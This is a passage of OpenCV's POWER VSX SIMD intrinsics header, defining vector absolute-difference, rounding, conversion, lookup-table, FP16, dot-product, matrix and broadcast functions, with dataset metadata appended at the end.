inline v_float64x2 v_abs(const v_float64x2& x)
{ return v_float64x2(vec_abs(x.val)); }
/** Absolute difference **/
// unsigned
OPENCV_HAL_IMPL_VSX_BIN_FUNC(v_absdiff, vec_absd)
inline v_uint8x16 v_absdiff(const v_int8x16& a, const v_int8x16& b)
{ return v_reinterpret_as_u8(v_sub_wrap(v_max(a, b), v_min(a, b))); }
inline v_uint16x8 v_absdiff(const v_int16x8& a, const v_int16x8& b)
{ return v_reinterpret_as_u16(v_sub_wrap(v_max(a, b), v_min(a, b))); }
inline v_uint32x4 v_absdiff(const v_int32x4& a, const v_int32x4& b)
{ return v_reinterpret_as_u32(v_max(a, b) - v_min(a, b)); }
inline v_float32x4 v_absdiff(const v_float32x4& a, const v_float32x4& b)
{ return v_abs(a - b); }
inline v_float64x2 v_absdiff(const v_float64x2& a, const v_float64x2& b)
{ return v_abs(a - b); }
/** Absolute difference for signed integers **/
inline v_int8x16 v_absdiffs(const v_int8x16& a, const v_int8x16& b)
{ return v_int8x16(vec_abss(vec_subs(a.val, b.val))); }
inline v_int16x8 v_absdiffs(const v_int16x8& a, const v_int16x8& b)
{ return v_int16x8(vec_abss(vec_subs(a.val, b.val))); }
////////// Conversions /////////
/** Rounding **/
inline v_int32x4 v_round(const v_float32x4& a)
{ return v_int32x4(vec_cts(vec_rint(a.val))); }
inline v_int32x4 v_round(const v_float64x2& a)
{ return v_int32x4(vec_mergesqo(vec_ctso(vec_rint(a.val)), vec_int4_z)); }
inline v_int32x4 v_round(const v_float64x2& a, const v_float64x2& b)
{ return v_int32x4(vec_mergesqo(vec_ctso(vec_rint(a.val)), vec_ctso(vec_rint(b.val)))); }
inline v_int32x4 v_floor(const v_float32x4& a)
{ return v_int32x4(vec_cts(vec_floor(a.val))); }
inline v_int32x4 v_floor(const v_float64x2& a)
{ return v_int32x4(vec_mergesqo(vec_ctso(vec_floor(a.val)), vec_int4_z)); }
inline v_int32x4 v_ceil(const v_float32x4& a)
{ return v_int32x4(vec_cts(vec_ceil(a.val))); }
inline v_int32x4 v_ceil(const v_float64x2& a)
{ return v_int32x4(vec_mergesqo(vec_ctso(vec_ceil(a.val)), vec_int4_z)); }
inline v_int32x4 v_trunc(const v_float32x4& a)
{ return v_int32x4(vec_cts(a.val)); }
inline v_int32x4 v_trunc(const v_float64x2& a)
{ return v_int32x4(vec_mergesqo(vec_ctso(a.val), vec_int4_z)); }
/** To float **/
inline v_float32x4 v_cvt_f32(const v_int32x4& a)
{ return v_float32x4(vec_ctf(a.val)); }
inline v_float32x4 v_cvt_f32(const v_float64x2& a)
{ return v_float32x4(vec_mergesqo(vec_cvfo(a.val), vec_float4_z)); }
inline v_float32x4 v_cvt_f32(const v_float64x2& a, const v_float64x2& b)
{ return v_float32x4(vec_mergesqo(vec_cvfo(a.val), vec_cvfo(b.val))); }
inline v_float64x2 v_cvt_f64(const v_int32x4& a)
{ return v_float64x2(vec_ctdo(vec_mergeh(a.val, a.val))); }
inline v_float64x2 v_cvt_f64_high(const v_int32x4& a)
{ return v_float64x2(vec_ctdo(vec_mergel(a.val, a.val))); }
inline v_float64x2 v_cvt_f64(const v_float32x4& a)
{ return v_float64x2(vec_cvfo(vec_mergeh(a.val, a.val))); }
inline v_float64x2 v_cvt_f64_high(const v_float32x4& a)
{ return v_float64x2(vec_cvfo(vec_mergel(a.val, a.val))); }
inline v_float64x2 v_cvt_f64(const v_int64x2& a)
{ return v_float64x2(vec_ctd(a.val)); }
////////////// Lookup table access ////////////////////
inline v_int8x16 v_lut(const schar* tab, const int* idx)
{
return v_int8x16(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]], tab[idx[4]], tab[idx[5]], tab[idx[6]], tab[idx[7]],
tab[idx[8]], tab[idx[9]], tab[idx[10]], tab[idx[11]], tab[idx[12]], tab[idx[13]], tab[idx[14]], tab[idx[15]]);
}
inline v_int8x16 v_lut_pairs(const schar* tab, const int* idx)
{
return v_reinterpret_as_s8(v_int16x8(*(const short*)(tab+idx[0]), *(const short*)(tab+idx[1]), *(const short*)(tab+idx[2]), *(const short*)(tab+idx[3]),
*(const short*)(tab+idx[4]), *(const short*)(tab+idx[5]), *(const short*)(tab+idx[6]), *(const short*)(tab+idx[7])));
}
inline v_int8x16 v_lut_quads(const schar* tab, const int* idx)
{
return v_reinterpret_as_s8(v_int32x4(*(const int*)(tab+idx[0]), *(const int*)(tab+idx[1]), *(const int*)(tab+idx[2]), *(const int*)(tab+idx[3])));
}
inline v_uint8x16 v_lut(const uchar* tab, const int* idx) { return v_reinterpret_as_u8(v_lut((const schar*)tab, idx)); }
inline v_uint8x16 v_lut_pairs(const uchar* tab, const int* idx) { return v_reinterpret_as_u8(v_lut_pairs((const schar*)tab, idx)); }
inline v_uint8x16 v_lut_quads(const uchar* tab, const int* idx) { return v_reinterpret_as_u8(v_lut_quads((const schar*)tab, idx)); }
inline v_int16x8 v_lut(const short* tab, const int* idx)
{
return v_int16x8(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]], tab[idx[4]], tab[idx[5]], tab[idx[6]], tab[idx[7]]);
}
inline v_int16x8 v_lut_pairs(const short* tab, const int* idx)
{
return v_reinterpret_as_s16(v_int32x4(*(const int*)(tab + idx[0]), *(const int*)(tab + idx[1]), *(const int*)(tab + idx[2]), *(const int*)(tab + idx[3])));
}
inline v_int16x8 v_lut_quads(const short* tab, const int* idx)
{
return v_reinterpret_as_s16(v_int64x2(*(const int64*)(tab + idx[0]), *(const int64*)(tab + idx[1])));
}
inline v_uint16x8 v_lut(const ushort* tab, const int* idx) { return v_reinterpret_as_u16(v_lut((const short*)tab, idx)); }
inline v_uint16x8 v_lut_pairs(const ushort* tab, const int* idx) { return v_reinterpret_as_u16(v_lut_pairs((const short*)tab, idx)); }
inline v_uint16x8 v_lut_quads(const ushort* tab, const int* idx) { return v_reinterpret_as_u16(v_lut_quads((const short*)tab, idx)); }
inline v_int32x4 v_lut(const int* tab, const int* idx)
{
return v_int32x4(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]]);
}
inline v_int32x4 v_lut_pairs(const int* tab, const int* idx)
{
return v_reinterpret_as_s32(v_int64x2(*(const int64*)(tab + idx[0]), *(const int64*)(tab + idx[1])));
}
inline v_int32x4 v_lut_quads(const int* tab, const int* idx)
{
return v_int32x4(vsx_ld(0, tab + idx[0]));
}
inline v_uint32x4 v_lut(const unsigned* tab, const int* idx) { return v_reinterpret_as_u32(v_lut((const int*)tab, idx)); }
inline v_uint32x4 v_lut_pairs(const unsigned* tab, const int* idx) { return v_reinterpret_as_u32(v_lut_pairs((const int*)tab, idx)); }
inline v_uint32x4 v_lut_quads(const unsigned* tab, const int* idx) { return v_reinterpret_as_u32(v_lut_quads((const int*)tab, idx)); }
inline v_int64x2 v_lut(const int64_t* tab, const int* idx)
{
return v_int64x2(tab[idx[0]], tab[idx[1]]);
}
inline v_int64x2 v_lut_pairs(const int64_t* tab, const int* idx)
{
return v_int64x2(vsx_ld2(0, tab + idx[0]));
}
inline v_uint64x2 v_lut(const uint64_t* tab, const int* idx) { return v_reinterpret_as_u64(v_lut((const int64_t *)tab, idx)); }
inline v_uint64x2 v_lut_pairs(const uint64_t* tab, const int* idx) { return v_reinterpret_as_u64(v_lut_pairs((const int64_t *)tab, idx)); }
inline v_float32x4 v_lut(const float* tab, const int* idx)
{
return v_float32x4(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]]);
}
inline v_float32x4 v_lut_pairs(const float* tab, const int* idx) { return v_reinterpret_as_f32(v_lut_pairs((const int*)tab, idx)); }
inline v_float32x4 v_lut_quads(const float* tab, const int* idx) { return v_load(tab + *idx); }
inline v_float64x2 v_lut(const double* tab, const int* idx)
{
return v_float64x2(tab[idx[0]], tab[idx[1]]);
}
inline v_float64x2 v_lut_pairs(const double* tab, const int* idx) { return v_load(tab + *idx); }
inline v_int32x4 v_lut(const int* tab, const v_int32x4& idxvec)
{
const int idx[4] = {
vec_extract(idxvec.val, 0),
vec_extract(idxvec.val, 1),
vec_extract(idxvec.val, 2),
vec_extract(idxvec.val, 3)
};
return v_int32x4(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]]);
}
inline v_uint32x4 v_lut(const unsigned* tab, const v_int32x4& idxvec)
{
const int idx[4] = {
vec_extract(idxvec.val, 0),
vec_extract(idxvec.val, 1),
vec_extract(idxvec.val, 2),
vec_extract(idxvec.val, 3)
};
return v_uint32x4(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]]);
}
inline v_float32x4 v_lut(const float* tab, const v_int32x4& idxvec)
{
const int idx[4] = {
vec_extract(idxvec.val, 0),
vec_extract(idxvec.val, 1),
vec_extract(idxvec.val, 2),
vec_extract(idxvec.val, 3)
};
return v_float32x4(tab[idx[0]], tab[idx[1]], tab[idx[2]], tab[idx[3]]);
}
inline v_float64x2 v_lut(const double* tab, const v_int32x4& idxvec)
{
const int idx[2] = {
vec_extract(idxvec.val, 0),
vec_extract(idxvec.val, 1)
};
return v_float64x2(tab[idx[0]], tab[idx[1]]);
}
inline void v_lut_deinterleave(const float* tab, const v_int32x4& idxvec, v_float32x4& x, v_float32x4& y)
{
vec_float4 xy0 = vec_ld_l8(tab + vec_extract(idxvec.val, 0));
vec_float4 xy1 = vec_ld_l8(tab + vec_extract(idxvec.val, 1));
vec_float4 xy2 = vec_ld_l8(tab + vec_extract(idxvec.val, 2));
vec_float4 xy3 = vec_ld_l8(tab + vec_extract(idxvec.val, 3));
vec_float4 xy02 = vec_mergeh(xy0, xy2); // x0, x2, y0, y2
vec_float4 xy13 = vec_mergeh(xy1, xy3); // x1, x3, y1, y3
x.val = vec_mergeh(xy02, xy13);
y.val = vec_mergel(xy02, xy13);
}
inline void v_lut_deinterleave(const double* tab, const v_int32x4& idxvec, v_float64x2& x, v_float64x2& y)
{
vec_double2 xy0 = vsx_ld(vec_extract(idxvec.val, 0), tab);
vec_double2 xy1 = vsx_ld(vec_extract(idxvec.val, 1), tab);
x.val = vec_mergeh(xy0, xy1);
y.val = vec_mergel(xy0, xy1);
}
inline v_int8x16 v_interleave_pairs(const v_int8x16& vec)
{
static const vec_uchar16 perm = {0, 2, 1, 3, 4, 6, 5, 7, 8, 10, 9, 11, 12, 14, 13, 15};
return v_int8x16(vec_perm(vec.val, vec.val, perm));
}
inline v_uint8x16 v_interleave_pairs(const v_uint8x16& vec)
{ return v_reinterpret_as_u8(v_interleave_pairs(v_reinterpret_as_s8(vec))); }
inline v_int8x16 v_interleave_quads(const v_int8x16& vec)
{
static const vec_uchar16 perm = {0, 4, 1, 5, 2, 6, 3, 7, 8, 12, 9, 13, 10, 14, 11, 15};
return v_int8x16(vec_perm(vec.val, vec.val, perm));
}
inline v_uint8x16 v_interleave_quads(const v_uint8x16& vec)
{ return v_reinterpret_as_u8(v_interleave_quads(v_reinterpret_as_s8(vec))); }
inline v_int16x8 v_interleave_pairs(const v_int16x8& vec)
{
static const vec_uchar16 perm = {0,1, 4,5, 2,3, 6,7, 8,9, 12,13, 10,11, 14,15};
return v_int16x8(vec_perm(vec.val, vec.val, perm));
}
inline v_uint16x8 v_interleave_pairs(const v_uint16x8& vec)
{ return v_reinterpret_as_u16(v_interleave_pairs(v_reinterpret_as_s16(vec))); }
inline v_int16x8 v_interleave_quads(const v_int16x8& vec)
{
static const vec_uchar16 perm = {0,1, 8,9, 2,3, 10,11, 4,5, 12,13, 6,7, 14,15};
return v_int16x8(vec_perm(vec.val, vec.val, perm));
}
inline v_uint16x8 v_interleave_quads(const v_uint16x8& vec)
{ return v_reinterpret_as_u16(v_interleave_quads(v_reinterpret_as_s16(vec))); }
inline v_int32x4 v_interleave_pairs(const v_int32x4& vec)
{
static const vec_uchar16 perm = {0,1,2,3, 8,9,10,11, 4,5,6,7, 12,13,14,15};
return v_int32x4(vec_perm(vec.val, vec.val, perm));
}
inline v_uint32x4 v_interleave_pairs(const v_uint32x4& vec)
{ return v_reinterpret_as_u32(v_interleave_pairs(v_reinterpret_as_s32(vec))); }
inline v_float32x4 v_interleave_pairs(const v_float32x4& vec)
{ return v_reinterpret_as_f32(v_interleave_pairs(v_reinterpret_as_s32(vec))); }
inline v_int8x16 v_pack_triplets(const v_int8x16& vec)
{
static const vec_uchar16 perm = {0, 1, 2, 4, 5, 6, 8, 9, 10, 12, 13, 14, 15, 15, 15, 15};
return v_int8x16(vec_perm(vec.val, vec.val, perm));
}
inline v_uint8x16 v_pack_triplets(const v_uint8x16& vec)
{ return v_reinterpret_as_u8(v_pack_triplets(v_reinterpret_as_s8(vec))); }
inline v_int16x8 v_pack_triplets(const v_int16x8& vec)
{
static const vec_uchar16 perm = {0,1, 2,3, 4,5, 8,9, 10,11, 12,13, 14,15, 14,15};
return v_int16x8(vec_perm(vec.val, vec.val, perm));
}
inline v_uint16x8 v_pack_triplets(const v_uint16x8& vec)
{ return v_reinterpret_as_u16(v_pack_triplets(v_reinterpret_as_s16(vec))); }
inline v_int32x4 v_pack_triplets(const v_int32x4& vec)
{ return vec; }
inline v_uint32x4 v_pack_triplets(const v_uint32x4& vec)
{ return vec; }
inline v_float32x4 v_pack_triplets(const v_float32x4& vec)
{ return vec; }
/////// FP16 support ////////
inline v_float32x4 v_load_expand(const float16_t* ptr)
{
vec_ushort8 vf16 = vec_ld_l8((const ushort*)ptr);
#if CV_VSX3 && defined(vec_extract_fp_from_shorth)
return v_float32x4(vec_extract_fp_from_shorth(vf16));
#elif CV_VSX3 && !defined(CV_COMPILER_VSX_BROKEN_ASM)
vec_float4 vf32;
__asm__ __volatile__ ("xvcvhpsp %x0,%x1" : "=wa" (vf32) : "wa" (vec_mergeh(vf16, vf16)));
return v_float32x4(vf32);
#else
const vec_int4 z = vec_int4_z, delta = vec_int4_sp(0x38000000);
const vec_int4 signmask = vec_int4_sp(0x80000000);
const vec_int4 maxexp = vec_int4_sp(0x7c000000);
const vec_float4 deltaf = vec_float4_c(vec_int4_sp(0x38800000));
vec_int4 bits = vec_int4_c(vec_mergeh(vec_short8_c(z), vec_short8_c(vf16)));
vec_int4 e = vec_and(bits, maxexp), sign = vec_and(bits, signmask);
vec_int4 t = vec_add(vec_sr(vec_xor(bits, sign), vec_uint4_sp(3)), delta); // ((h & 0x7fff) << 13) + delta
vec_int4 zt = vec_int4_c(vec_sub(vec_float4_c(vec_add(t, vec_int4_sp(1 << 23))), deltaf));
t = vec_add(t, vec_and(delta, vec_cmpeq(maxexp, e)));
vec_bint4 zmask = vec_cmpeq(e, z);
vec_int4 ft = vec_sel(t, zt, zmask);
return v_float32x4(vec_float4_c(vec_or(ft, sign)));
#endif
}
inline void v_pack_store(float16_t* ptr, const v_float32x4& v)
{
// fixme: Is there any builtin op or intrinsic that cover "xvcvsphp"?
#if CV_VSX3 && !defined(CV_COMPILER_VSX_BROKEN_ASM)
vec_ushort8 vf16;
__asm__ __volatile__ ("xvcvsphp %x0,%x1" : "=wa" (vf16) : "wa" (v.val));
vec_st_l8(vec_mergesqe(vf16, vf16), ptr);
#else
const vec_int4 signmask = vec_int4_sp(0x80000000);
const vec_int4 rval = vec_int4_sp(0x3f000000);
vec_int4 t = vec_int4_c(v.val);
vec_int4 sign = vec_sra(vec_and(t, signmask), vec_uint4_sp(16));
t = vec_and(vec_nor(signmask, signmask), t);
vec_bint4 finitemask = vec_cmpgt(vec_int4_sp(0x47800000), t);
vec_bint4 isnan = vec_cmpgt(t, vec_int4_sp(0x7f800000));
vec_int4 naninf = vec_sel(vec_int4_sp(0x7c00), vec_int4_sp(0x7e00), isnan);
vec_bint4 tinymask = vec_cmpgt(vec_int4_sp(0x38800000), t);
vec_int4 tt = vec_int4_c(vec_add(vec_float4_c(t), vec_float4_c(rval)));
tt = vec_sub(tt, rval);
vec_int4 odd = vec_and(vec_sr(t, vec_uint4_sp(13)), vec_int4_sp(1));
vec_int4 nt = vec_add(t, vec_int4_sp(0xc8000fff));
nt = vec_sr(vec_add(nt, odd), vec_uint4_sp(13));
t = vec_sel(nt, tt, tinymask);
t = vec_sel(naninf, t, finitemask);
t = vec_or(t, sign);
vec_st_l8(vec_packs(t, t), ptr);
#endif
}
inline void v_cleanup() {}
/** Reinterpret **/
/** its up there with load and store operations **/
////////// Matrix operations /////////
//////// Dot Product ////////
// 16 >> 32
inline v_int32x4 v_dotprod(const v_int16x8& a, const v_int16x8& b)
{ return v_int32x4(vec_msum(a.val, b.val, vec_int4_z)); }
inline v_int32x4 v_dotprod(const v_int16x8& a, const v_int16x8& b, const v_int32x4& c)
{ return v_int32x4(vec_msum(a.val, b.val, c.val)); }
// 32 >> 64
inline v_int64x2 v_dotprod(const v_int32x4& a, const v_int32x4& b)
{
vec_dword2 even = vec_mule(a.val, b.val);
vec_dword2 odd = vec_mulo(a.val, b.val);
return v_int64x2(vec_add(even, odd));
}
inline v_int64x2 v_dotprod(const v_int32x4& a, const v_int32x4& b, const v_int64x2& c)
{ return v_dotprod(a, b) + c; }
// 8 >> 32
inline v_uint32x4 v_dotprod_expand(const v_uint8x16& a, const v_uint8x16& b, const v_uint32x4& c)
{ return v_uint32x4(vec_msum(a.val, b.val, c.val)); }
inline v_uint32x4 v_dotprod_expand(const v_uint8x16& a, const v_uint8x16& b)
{ return v_uint32x4(vec_msum(a.val, b.val, vec_uint4_z)); }
inline v_int32x4 v_dotprod_expand(const v_int8x16& a, const v_int8x16& b)
{
const vec_ushort8 eight = vec_ushort8_sp(8);
vec_short8 a0 = vec_sra((vec_short8)vec_sld(a.val, a.val, 1), eight); // even
vec_short8 a1 = vec_sra((vec_short8)a.val, eight); // odd
vec_short8 b0 = vec_sra((vec_short8)vec_sld(b.val, b.val, 1), eight);
vec_short8 b1 = vec_sra((vec_short8)b.val, eight);
return v_int32x4(vec_msum(a0, b0, vec_msum(a1, b1, vec_int4_z)));
}
inline v_int32x4 v_dotprod_expand(const v_int8x16& a, const v_int8x16& b, const v_int32x4& c)
{
const vec_ushort8 eight = vec_ushort8_sp(8);
vec_short8 a0 = vec_sra((vec_short8)vec_sld(a.val, a.val, 1), eight); // even
vec_short8 a1 = vec_sra((vec_short8)a.val, eight); // odd
vec_short8 b0 = vec_sra((vec_short8)vec_sld(b.val, b.val, 1), eight);
vec_short8 b1 = vec_sra((vec_short8)b.val, eight);
return v_int32x4(vec_msum(a0, b0, vec_msum(a1, b1, c.val)));
}
// 16 >> 64
inline v_uint64x2 v_dotprod_expand(const v_uint16x8& a, const v_uint16x8& b)
{
const vec_uint4 zero = vec_uint4_z;
vec_uint4 even = vec_mule(a.val, b.val);
vec_uint4 odd = vec_mulo(a.val, b.val);
vec_udword2 e0 = (vec_udword2)vec_mergee(even, zero);
vec_udword2 e1 = (vec_udword2)vec_mergeo(even, zero);
vec_udword2 o0 = (vec_udword2)vec_mergee(odd, zero);
vec_udword2 o1 = (vec_udword2)vec_mergeo(odd, zero);
vec_udword2 s0 = vec_add(e0, o0);
vec_udword2 s1 = vec_add(e1, o1);
return v_uint64x2(vec_add(s0, s1));
}
inline v_uint64x2 v_dotprod_expand(const v_uint16x8& a, const v_uint16x8& b, const v_uint64x2& c)
{ return v_dotprod_expand(a, b) + c; }
inline v_int64x2 v_dotprod_expand(const v_int16x8& a, const v_int16x8& b)
{
v_int32x4 prod = v_dotprod(a, b);
v_int64x2 c, d;
v_expand(prod, c, d);
return v_int64x2(vec_add(vec_mergeh(c.val, d.val), vec_mergel(c.val, d.val)));
}
inline v_int64x2 v_dotprod_expand(const v_int16x8& a, const v_int16x8& b, const v_int64x2& c)
{ return v_dotprod_expand(a, b) + c; }
// 32 >> 64f
inline v_float64x2 v_dotprod_expand(const v_int32x4& a, const v_int32x4& b)
{ return v_cvt_f64(v_dotprod(a, b)); }
inline v_float64x2 v_dotprod_expand(const v_int32x4& a, const v_int32x4& b, const v_float64x2& c)
{ return v_dotprod_expand(a, b) + c; }
//////// Fast Dot Product ////////
// 16 >> 32
inline v_int32x4 v_dotprod_fast(const v_int16x8& a, const v_int16x8& b)
{ return v_dotprod(a, b); }
inline v_int32x4 v_dotprod_fast(const v_int16x8& a, const v_int16x8& b, const v_int32x4& c)
{ return v_int32x4(vec_msum(a.val, b.val, vec_int4_z)) + c; }
// 32 >> 64
inline v_int64x2 v_dotprod_fast(const v_int32x4& a, const v_int32x4& b)
{ return v_dotprod(a, b); }
inline v_int64x2 v_dotprod_fast(const v_int32x4& a, const v_int32x4& b, const v_int64x2& c)
{ return v_dotprod(a, b, c); }
// 8 >> 32
inline v_uint32x4 v_dotprod_expand_fast(const v_uint8x16& a, const v_uint8x16& b)
{ return v_dotprod_expand(a, b); }
inline v_uint32x4 v_dotprod_expand_fast(const v_uint8x16& a, const v_uint8x16& b, const v_uint32x4& c)
{ return v_uint32x4(vec_msum(a.val, b.val, vec_uint4_z)) + c; }
inline v_int32x4 v_dotprod_expand_fast(const v_int8x16& a, const v_int8x16& b)
{
vec_short8 a0 = vec_unpackh(a.val);
vec_short8 a1 = vec_unpackl(a.val);
vec_short8 b0 = vec_unpackh(b.val);
vec_short8 b1 = vec_unpackl(b.val);
return v_int32x4(vec_msum(a0, b0, vec_msum(a1, b1, vec_int4_z)));
}
inline v_int32x4 v_dotprod_expand_fast(const v_int8x16& a, const v_int8x16& b, const v_int32x4& c)
{ return v_dotprod_expand_fast(a, b) + c; }
// 16 >> 64
inline v_uint64x2 v_dotprod_expand_fast(const v_uint16x8& a, const v_uint16x8& b)
{ return v_dotprod_expand(a, b); }
inline v_uint64x2 v_dotprod_expand_fast(const v_uint16x8& a, const v_uint16x8& b, const v_uint64x2& c)
{ return v_dotprod_expand(a, b, c); }
inline v_int64x2 v_dotprod_expand_fast(const v_int16x8& a, const v_int16x8& b)
{
v_int32x4 prod = v_dotprod(a, b);
v_int64x2 c, d;
v_expand(prod, c, d);
return c + d;
}
inline v_int64x2 v_dotprod_expand_fast(const v_int16x8& a, const v_int16x8& b, const v_int64x2& c)
{ return v_dotprod_expand_fast(a, b) + c; }
// 32 >> 64f
inline v_float64x2 v_dotprod_expand_fast(const v_int32x4& a, const v_int32x4& b)
{ return v_dotprod_expand(a, b); }
inline v_float64x2 v_dotprod_expand_fast(const v_int32x4& a, const v_int32x4& b, const v_float64x2& c)
{ return v_dotprod_expand(a, b, c); }
inline v_float32x4 v_matmul(const v_float32x4& v, const v_float32x4& m0,
const v_float32x4& m1, const v_float32x4& m2,
const v_float32x4& m3)
{
const vec_float4 v0 = vec_splat(v.val, 0);
const vec_float4 v1 = vec_splat(v.val, 1);
const vec_float4 v2 = vec_splat(v.val, 2);
VSX_UNUSED(const vec_float4) v3 = vec_splat(v.val, 3);
return v_float32x4(vec_madd(v0, m0.val, vec_madd(v1, m1.val, vec_madd(v2, m2.val, vec_mul(v3, m3.val)))));
}
inline v_float32x4 v_matmuladd(const v_float32x4& v, const v_float32x4& m0,
const v_float32x4& m1, const v_float32x4& m2,
const v_float32x4& a)
{
const vec_float4 v0 = vec_splat(v.val, 0);
const vec_float4 v1 = vec_splat(v.val, 1);
const vec_float4 v2 = vec_splat(v.val, 2);
return v_float32x4(vec_madd(v0, m0.val, vec_madd(v1, m1.val, vec_madd(v2, m2.val, a.val))));
}
#define OPENCV_HAL_IMPL_VSX_TRANSPOSE4x4(_Tpvec, _Tpvec2) \
inline void v_transpose4x4(const _Tpvec& a0, const _Tpvec& a1, \
const _Tpvec& a2, const _Tpvec& a3, \
_Tpvec& b0, _Tpvec& b1, _Tpvec& b2, _Tpvec& b3) \
{ \
_Tpvec2 a02 = vec_mergeh(a0.val, a2.val); \
_Tpvec2 a13 = vec_mergeh(a1.val, a3.val); \
b0.val = vec_mergeh(a02, a13); \
b1.val = vec_mergel(a02, a13); \
a02 = vec_mergel(a0.val, a2.val); \
a13 = vec_mergel(a1.val, a3.val); \
b2.val = vec_mergeh(a02, a13); \
b3.val = vec_mergel(a02, a13); \
}
OPENCV_HAL_IMPL_VSX_TRANSPOSE4x4(v_uint32x4, vec_uint4)
OPENCV_HAL_IMPL_VSX_TRANSPOSE4x4(v_int32x4, vec_int4)
OPENCV_HAL_IMPL_VSX_TRANSPOSE4x4(v_float32x4, vec_float4)
template<int i>
inline v_int8x16 v_broadcast_element(v_int8x16 v)
{
return v_int8x16(vec_perm(v.val, v.val, vec_splats((unsigned char)i)));
}
template<int i>
inline v_uint8x16 v_broadcast_element(v_uint8x16 v)
{
return v_uint8x16(vec_perm(v.val, v.val, vec_splats((unsigned char)i)));
}
template<int i>
inline v_int16x8 v_broadcast_element(v_int16x8 v)
{
unsigned char t0 = 2*i, t1 = 2*i + 1;
vec_uchar16 p = {t0, t1, t0, t1, t0, t1, t0, t1, t0, t1, t0, t1, t0, t1, t0, t1};
return v_int16x8(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_uint16x8 v_broadcast_element(v_uint16x8 v)
{
unsigned char t0 = 2*i, t1 = 2*i + 1;
vec_uchar16 p = {t0, t1, t0, t1, t0, t1, t0, t1, t0, t1, t0, t1, t0, t1, t0, t1};
return v_uint16x8(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_int32x4 v_broadcast_element(v_int32x4 v)
{
unsigned char t0 = 4*i, t1 = 4*i + 1, t2 = 4*i + 2, t3 = 4*i + 3;
vec_uchar16 p = {t0, t1, t2, t3, t0, t1, t2, t3, t0, t1, t2, t3, t0, t1, t2, t3};
return v_int32x4(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_uint32x4 v_broadcast_element(v_uint32x4 v)
{
unsigned char t0 = 4*i, t1 = 4*i + 1, t2 = 4*i + 2, t3 = 4*i + 3;
vec_uchar16 p = {t0, t1, t2, t3, t0, t1, t2, t3, t0, t1, t2, t3, t0, t1, t2, t3};
return v_uint32x4(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_int64x2 v_broadcast_element(v_int64x2 v)
{
unsigned char t0 = 8*i, t1 = 8*i + 1, t2 = 8*i + 2, t3 = 8*i + 3, t4 = 8*i + 4, t5 = 8*i + 5, t6 = 8*i + 6, t7 = 8*i + 7;
vec_uchar16 p = {t0, t1, t2, t3, t4, t5, t6, t7, t0, t1, t2, t3, t4, t5, t6, t7};
return v_int64x2(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_uint64x2 v_broadcast_element(v_uint64x2 v)
{
unsigned char t0 = 8*i, t1 = 8*i + 1, t2 = 8*i + 2, t3 = 8*i + 3, t4 = 8*i + 4, t5 = 8*i + 5, t6 = 8*i + 6, t7 = 8*i + 7;
vec_uchar16 p = {t0, t1, t2, t3, t4, t5, t6, t7, t0, t1, t2, t3, t4, t5, t6, t7};
return v_uint64x2(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_float32x4 v_broadcast_element(v_float32x4 v)
{
unsigned char t0 = 4*i, t1 = 4*i + 1, t2 = 4*i + 2, t3 = 4*i + 3;
vec_uchar16 p = {t0, t1, t2, t3, t0, t1, t2, t3, t0, t1, t2, t3, t0, t1, t2, t3};
return v_float32x4(vec_perm(v.val, v.val, p));
}
template<int i>
inline v_float64x2 v_broadcast_element(v_float64x2 v)
{
unsigned char t0 = 8*i, t1 = 8*i + 1, t2 = 8*i + 2, t3 = 8*i + 3, t4 = 8*i + 4, t5 = 8*i + 5, t6 = 8*i + 6, t7 = 8*i + 7;
vec_uchar16 p = {t0, t1, t2, t3, t4, t5, t6, t7, t0, t1, t2, t3, t4, t5, t6, t7};
return v_float64x2(vec_perm(v.val, v.val, p));
}
CV_CPU_OPTIMIZATION_HAL_NAMESPACE_END
//! @endcond
}
#endif // OPENCV_HAL_VSX_HPP
| 69,809 | intrin_vsx | hpp | en | cpp | code | {"qsc_code_num_words": 11311, "qsc_code_num_chars": 69809.0, "qsc_code_mean_word_length": 3.74670675, "qsc_code_frac_words_unique": 0.05366457, "qsc_code_frac_chars_top_2grams": 0.03468699, "qsc_code_frac_chars_top_3grams": 0.05337549, "qsc_code_frac_chars_top_4grams": 0.06569291, "qsc_code_frac_chars_dupe_5grams": 0.73845537, "qsc_code_frac_chars_dupe_6grams": 0.67835485, "qsc_code_frac_chars_dupe_7grams": 0.59685221, "qsc_code_frac_chars_dupe_8grams": 0.52773779, "qsc_code_frac_chars_dupe_9grams": 0.4722858, "qsc_code_frac_chars_dupe_10grams": 0.37915005, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08087619, "qsc_code_frac_chars_whitespace": 0.2139409, "qsc_code_size_file_byte": 69809.0, "qsc_code_num_lines": 1649.0, "qsc_code_num_chars_line_max": 160.0, "qsc_code_num_chars_line_mean": 42.3341419, "qsc_code_frac_chars_alphabet": 0.69142034, "qsc_code_frac_chars_comments": 0.03757395, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.20353982, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00145864, "qsc_code_frac_chars_long_word_length": 0.00035722, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00166701, "qsc_code_frac_lines_prompt_comments": 0.00121286, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.39159292, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.39454277, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, 